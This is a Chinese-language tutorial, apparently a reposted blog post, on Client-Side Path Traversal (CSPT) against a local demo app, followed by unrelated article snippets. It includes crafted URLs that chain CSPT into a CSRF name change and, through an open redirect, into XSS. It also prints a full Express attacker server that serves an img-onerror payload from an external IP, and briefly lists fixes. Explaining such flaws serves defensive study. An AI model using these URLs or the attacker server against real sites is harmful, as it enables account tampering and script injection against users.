CSPT漏洞浅析

CSPT全称是Client-Side Path Traversal ,即客户端路径遍历。
概念说明
CSPT 全称 Client-Side Path Traversal(客户端路径遍历),是一种针对前端应用的漏洞,核心是攻击者通过篡改 URL 参数、请求参数等,让浏览器(客户端)错误地向非预期的服务器路径发送请求,从而获取本不应访问的数据或资源。
它的本质是 “前端逻辑对参数校验不严格”,区别于传统的 “服务端路径遍历”(攻击目标是服务器文件系统):
攻击对象:浏览器的请求逻辑(而非服务器);
核心结果:让浏览器请求到开发者未开放的 API 接口、JSON 数据文件等;
如果配合其他漏洞,可能会触发或绕过达成某些漏洞的利用,多用于chain二次攻击。
 
跟上我的节奏,让我们揭开这个漏洞的神秘面纱。漏洞基本特征:
浏览器上访问 用户资料页面:
http://localhost:9999/public/profile.html?id=1

image

 

除了触发本身的前端页面外,还会触发一个api接口
api接口: http://localhost:9999/api/users/1
response返回:

image

 

api接口会把返回映射返回给前端输出响应。
用一张图总结下此特征:

image

 

 
修改id=123
http://localhost:9999/public/profile.html?id=123

image

 

后端会去尝试请求:
http://localhost:9999/api/users/123
 
那么这里大家发现没有,我们发现api路径上的id可控,即可
http://localhost:9999/api/users/{可控}
有这个特征,那么我们可以做什么?
输入http://localhost:9999/public/profile.html?id=../123

image

 

 
api会去请求http://localhost:9999/api/123
现在我们通过客户端(前端)的访问,任意控制后端api的路由走向
单看CSPT漏洞,感觉这种行为没有任何意义。因为我们用户本身就可以访问api接口。
现在我们把CSPT代入到CSRF漏洞
可用业务场景1:
用户访问
http://localhost:9999/public/profile.html?id=1

image

 

 
输出用户信息 如id 姓名和头像。
 
站点内,我们发现了一个get请求的修改用户姓名的接口如下所示:
http://localhost:9999/api/profile?id=1&name=test
当我们直接访问他,它存在安全限制,csrf最常见的安全修复方案就是referer限制。

image

 

因为有referer限制,我无法csrf修改用户信息成功。那么此时CSPT漏洞的作用就来了。
已知:
http://localhost:9999/public/profile.html?id=1
返回接口:http://localhost:9999/api/users/1
构造可以csrf的CSPT接口:
http://localhost:9999/public/profile.html?id=../profile?id=1&name=test
因为是客户端漏洞,所以最好有必要对特殊字符串进行url编码下:
http://localhost:9999/public/profile.html?id=..%2fprofile%3fid%3d1%26name%3dtest
使用浏览器再次访问:

image

 

此时利用CSPT,我们成功绕过了csrf限制,通过网络数据请求,你能看到他携带了referer。
现在我们刷新我们的id=1的用户页面:

image

 

此时姓名已经被修改掉了,说明csrf成功。比起传统的referer url绕过,使用CSPT更加方便,更加智能。
 
可用业务场景2:
如果一个网站同时具备CSPT+api接口url跳转漏洞,那么此时我们可以把这个漏洞升级成一个xss漏洞。
那么我们来看看吧,怎么做?
首先是api接口的url跳转:
http://localhost:9999/redirect?url=https://example.com

image

 

 
这个url跳转,无法使用伪协议进行xss攻击。那么他的危害相对就小了,只能钓鱼。
小小的跳转,是如何和无用的CSPT配合的。
让我们回到最开始CSPT的业务现场:
访问http://localhost:9999/public/profile.html?id=1
触发api接口:http://localhost:9999/api/users/1
response返回:
{"id": 1, "name": "test", "profilePic": "/public/images/user1.jpg"}

image

 

api接口的json信息,会映射到前端页面上:

image

 

 
现在我们在api接口上发现了一个url跳转漏洞,那么此时思路就来了。我们能不能,有没有可能通过CSPT漏洞,请求api接口实现跳转,在页面上加载恶意的json返回?
这里直接上写好的利用代码:
const express = require('express');
const app = express();
 
// 配置 CORS 头,允许目标平台(localhost:9999)跨域读取
app.use((req, res, next) => {
  console.log('收到请求:', req.method, req.url);
  console.log('请求头:', req.headers);
  
  res.setHeader('Access-Control-Allow-Origin', 'http://localhost:9999');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  // 不在这里统一设置Content-Type,让每个路由单独设置
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Max-Age', '86400');
 
  next();
});
 
 
// 修改为专门支持CSPT漏洞利用的响应格式
app.get('/xss', (req, res) => {
  console.log('处理/xss请求,为CSPT漏洞利用返回JSON格式响应');
  
  res.setHeader('Content-Type', 'application/json');
  const maliciousData = {
   id: "<img src=\"x\" onerror=\"alert(321)\" />",
   name: "hello",
   profilePic: "/public/images/default.jpg"
  };
  
  console.log('发送JSON格式XSS响应:', JSON.stringify(maliciousData));
  res.json(maliciousData);
});
 
 
const PORT = 5001;
app.listen(PORT, () => {
  console.log(`攻击者服务(XSS 弹窗版)启动:http://localhost:${PORT}`);
});
 
远程服务器上使用node启动:

image

 

CSPT雏形:
http://localhost:9999/public/profile.html?id=1 ==>http://localhost:9999/api/users/1
演变:
http://localhost:9999/public/profile.html?id=../../redirect?url=https://example.com
==>
http://localhost:9999/public/profile.html?id=..%2f..%2fredirect%3furl%3dhttps%3a%2f%2fexample.com
==>
http://localhost:9999/redirect?url=https://example.com
 
==>
https://example.com
 
效果:

image

 

此时你会发现访问example.com的时候报错红色了。

image

 

所以这也解释了为什么利用攻击代码中为什么要设置Access-Control-*的原因。
万事俱备,直接利用实现xss吧:
http://localhost:9999/public/profile.html?id=../../redirect?url=http://38.207.176.172:5000/xss
==>
http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss
==>
http://localhost:9999/redirect?url=http://38.207.176.172:5001/xss
==>
http://38.207.176.172:5001/xss
 
编码访问:
http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss
 

image

 

页面渲染了api 返回内容,导致了xss攻击。
 
来看下为什么会xss攻击?

image

 

 
GET
http://38.207.176.172:5001/xss
 
response返回:
{"id":"<img src=\"x\" onerror=\"alert(321)\" />","name":"hello","profilePic":"/public/images/default.jpg"}
 
从代码角度来看:
userInfoDiv.innerHTML = `
           <h2>用户信息</h2>
           <p><strong>ID:</strong> ${data.id || '未知'}</p>
           <p><strong>姓名:</strong> ${data.name || '未知'}</p>
           <p><strong>头像:</strong> <img src="${data.profilePic || '/public/images/default.jpg'}" alt="用户头像" width="100" height="100"></p>
          `;
         

image

 

通过url跳转伪造页面,实现渲染了用户植入的恶意代码。
总结,要实现xss漏洞,我们需要必须条件?
1.支持CSPT特性
2.api接口存在url跳转漏洞
3.页面支持innerHTMl或者document.write输出。
这里选择了伪造id参数,id一般是数据库的key,是不可控的,即使是存在危险sink,也是无法xss,但是这里巧妙的利用了CSPT+url跳转漏洞实现了xss攻击。
 
漏洞修复方案:
1.waf拦截../
2.用 “资源唯一标识” 替代 “路径参数”
 
前端:参数不拼路径,拼前先做过滤;
后端:格式权限双验,白名单锁范围。
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/953758.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【题解】CCPC 2024 Jinan Site [F] The Hermit

题目链接 CCPC 2024 Jinan Site [F] The Hermit 题目大意 给定一个 \({1, 2, 3 ... m}\) 的集合 \(U\) ,要求从中抽取 \(n\) 个数组成子集 \(S\) ,对于每个 \(S \subset U\),定义 \(gcd(S) \neq min(S)\) 为合法,现…

Ubunt 搭建Samba服务

用户及目录结构管理 创建用户 sudo groupadd fileusers创建个人目录和用户 sudo mkdir -p /data/dataShare sudo useradd -d /data/dataShare/xiaoming -g fileusers -s /usr/sbin/nologin xiaoming规划创建目录结构 s…

2025 年 11 月精密无缝钢管,镀锌无缝钢管,定制无缝钢管厂家最新推荐,产能、专利、环保三维数据透视!

近期,行业权威协会针对精密无缝钢管、镀锌无缝钢管、定制无缝钢管领域开展 2025 年 11 月专项测评,测评覆盖近百家主流厂家,以 “产能规模、专利技术、环保标准” 为三维核心指标,结合产品质量、售后服务进行综合评…

2025 年 11 月合金无缝钢管,大口径无缝钢管,厚壁无缝钢管厂家最新推荐,技术实力与市场口碑深度解析!

近期,行业权威协会针对合金无缝钢管、大口径无缝钢管、厚壁无缝钢管领域开展 2025 年 11 月专项测评,测评覆盖近百家主流厂家,以 “技术实力、市场口碑” 为核心维度,结合产品质量、售后服务进行综合评估。技术实力…

题解:AT_abc131_e [ABC131E] Friendships

前言 这是本人第一篇题解。 题意 构造一个简单图(没有重边与自环)。图中总共有 $N$ 个节点,分别为 $1$ 到 $N$。总共有 $M$ 条边,每一条边的长度均为 $1$。有且仅有 $K$ 对节点 $(u,v)$ 满足 $u$ 到 $v$ 的最短距离…

C 运算符、表达式、语句

本文记录一下,在C语言中的基本概念;在很多书籍中运算符、表达式、语句会被分为多个章节,细致地介绍;但本人记录这个系列主要是为了拾遗,所以就将觉得有必要提及的知识点记录下来。 运算符大概分为算术运算、逻辑运…

题解:AT_abc036_d [ABC036D] 塗り絵

题意 有一棵由 $N$ 个点 $N-1$ 条边构成的树,求出树上每个点染成白色或黑色,但相邻两个点不能同时染成黑色的染色方案数量,并取模 $10^9+7$。 思路 对于这种求合法方案数的题目,一般可以考虑 $dp$ 。设 $dp_{i,1}$…

2025 年 11 月高压锅炉无缝钢管,方形无缝钢管,16Mn 无缝钢管厂家最新推荐,聚焦资质、案例、售后的五家机构深度解读!

近期,由十家行业专业机构联合开展 2025 年 11 月高压锅炉无缝钢管、方形无缝钢管、16Mn 无缝钢管专项测评,测评覆盖近百家主流厂家,以 “资质合规性、项目案例真实性、售后服务完善度” 为核心,结合技术实力、产品…

[论文笔记] Machine-Learning-Guided Selectively Unsound Static Analysis

Introduction 现有的静态分析工具都是 unsound 的,并且体现为 uniformly unsound。这里的“uniformly”指静态分析工具会用一种统一地忽略所有不能处理的特性,而不考虑代码上下文。这种策略会减少误报率 \(\frac{fal…

2025 年 11 月精密无缝钢管,合金无缝钢管,厚壁无缝钢管厂家最新推荐,实力品牌深度解析采购无忧之选!

近期,行业权威协会针对精密无缝钢管、合金无缝钢管、厚壁无缝钢管领域开展了 2025 年度 11 月专项测评,测评覆盖近百家主流厂家,从技术实力、产品质量、生产能力、售后服务、市场口碑五大维度,采用数据化评分与实地…

题解:AT_abc166_f [ABC166F] Three Variables Game

题目 思路 这是一道比较简单的贪心题。 不断地分类讨论。哪一个小就加一,另一个就减一。如果两个都相等时,就判断下一个,有相同的就加一,另一个减一,如果都没有相同的,就随便加减。如果两个都为 $0$ 时,就直接输出…

Awesome Neovim - 精选Neovim插件大全

Awesome Neovim是一个精心策划的Neovim插件集合,专注于展示Neovim特有功能的插件。项目包含插件管理器、LSP支持、自动补全、语法高亮等各类高质量插件,帮助用户打造高效开发环境。Awesome Neovim精选的Neovim插件集…

不会AI编程?没关系!这几个框架也让你也能开发AI聊天助手!

这篇教程教你从零开始,使用FastAPI+Vue构建类似Deepseek的AI助手。内容涵盖完整的前后端架构设计、数据库规划、LLM集成、安全防护与性能优化等。即使编程经验不多,也能跟着步骤实现打字机效果等流畅交互功能,打造一…

[KaibaMath]1018 基于复合函数理解子数列的一般项

[KaibaMath]1018 基于复合函数理解子数列的一般项子数列一般项的下标形如阶梯,我们不妨称其为数列下标的阶梯表示法。但这种表示法给出的一般项委实不容易理解,故本文基于复合函数给出一种更容易的理解方式。基于此,…

窗口函数

窗口函数:它们都用于为查询结果集中的每一行分配一个排名或序号 核心区别总结表函数功能描述排序特点(针对相同值)序号示例ROW_NUMBER() 为每一行生成一个唯一的、连续的序号。 即使值相同,也会分配不同序号(顺序…

别只怪客户端宕机!还有这些导致 Redis 分布式锁“死锁”的原因 - 公众号

本文已收录在Github,关注我,紧跟本系列专栏文章,咱们下篇再续!🚀 魔都架构师 | 全网30W技术追随者🔧 大厂分布式系统/数据中台实战专家🏆 主导交易系统百万级流量调优 & 车联网平台架构🧠 AIGC应用开发…

CCF CSP-S2 2025 游记

\(\text{Day0}\) 看到了 2024 年的第三题,我一直在复习组合计数 DP。结果,一天就弄懂了两道题。。。 \(\text{Day1}\) 第一件事自然是洛谷签到,中吉,忌出行、摸鱼。 早上八点出发,一早起来大雾,告诉走不了高速,…

CSP-S 2025 总结

114,514,1919810.0.前言 信心十足! 1.正文 不会做原题。 2.总结 我是人类吗?

LangChain v1.0 中间件详解:彻底搞定 AI Agent 上下文控制

用 LangChain 构建 AI Agent 的人应该都遇到过这种情况:测试阶段一切正常,部署到生产环境就开始出各种问题。上下文管理混乱,Agent 的行为变得难以预测,最后不得不写一堆自定义代码来控制信息流向。 这是因为在v1.…

【EF Core】“多对多”关系与跳跃导航

“多对多”关系不像“一对多”那么“单纯”,它内部涉及到“连接实体”(Join Entity)的概念。咱们先放下这个概念不表,来了解一下多对多数据表为什么需要一个“辅助表”来建立关系。 假设有两张表:一张表示学生,一…